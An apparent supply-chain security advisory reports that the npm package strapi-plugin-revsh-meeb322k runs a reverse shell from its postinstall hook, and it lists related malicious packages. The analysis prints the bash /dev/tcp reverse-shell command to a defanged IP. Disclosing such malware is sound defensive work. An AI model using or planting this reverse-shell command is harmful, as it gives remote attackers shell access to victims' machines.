strapi-plugin-revsh-meeb322k@3.6.8
Malicious code in strapi-plugin-revsh-meeb322k (npm)
T1059 · Command and Scripting InterpreterT1071 · Application Layer Protocol
Analysis
The package's postinstall hook executes a reverse shell on install. It runs `bash -c 'bash -i > /dev/tcp/14[.]225[.]210[.]85/443 0>&1'`, opening an interactive bash session back to IP 14[.]225[.]210[.]85 on TCP port 443, giving the remote host shell access to the installer's machine. It also writes a marker file to /tmp to confirm execution.
- analyzed by
- Leitwacht
- first seen
- Sep 15, 2026, 06:41 AM
- analyzed
- Sep 15, 2026, 06:42 AM
Related advisories
- strapi-plugin-revs-meeb322k@3.6.8
- strapi-plugin-rs-meeb322k@3.6.8
- n8n-nodes-healthmon@1.0.0
- tailwind-form-kit@0.6.2
- hydration-ui-pkg@1.0.0
- tailwindcss-3d-styles@1.2.2
- grafeno-webhook@1.0.0
- r4wk-book@2.2.2
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.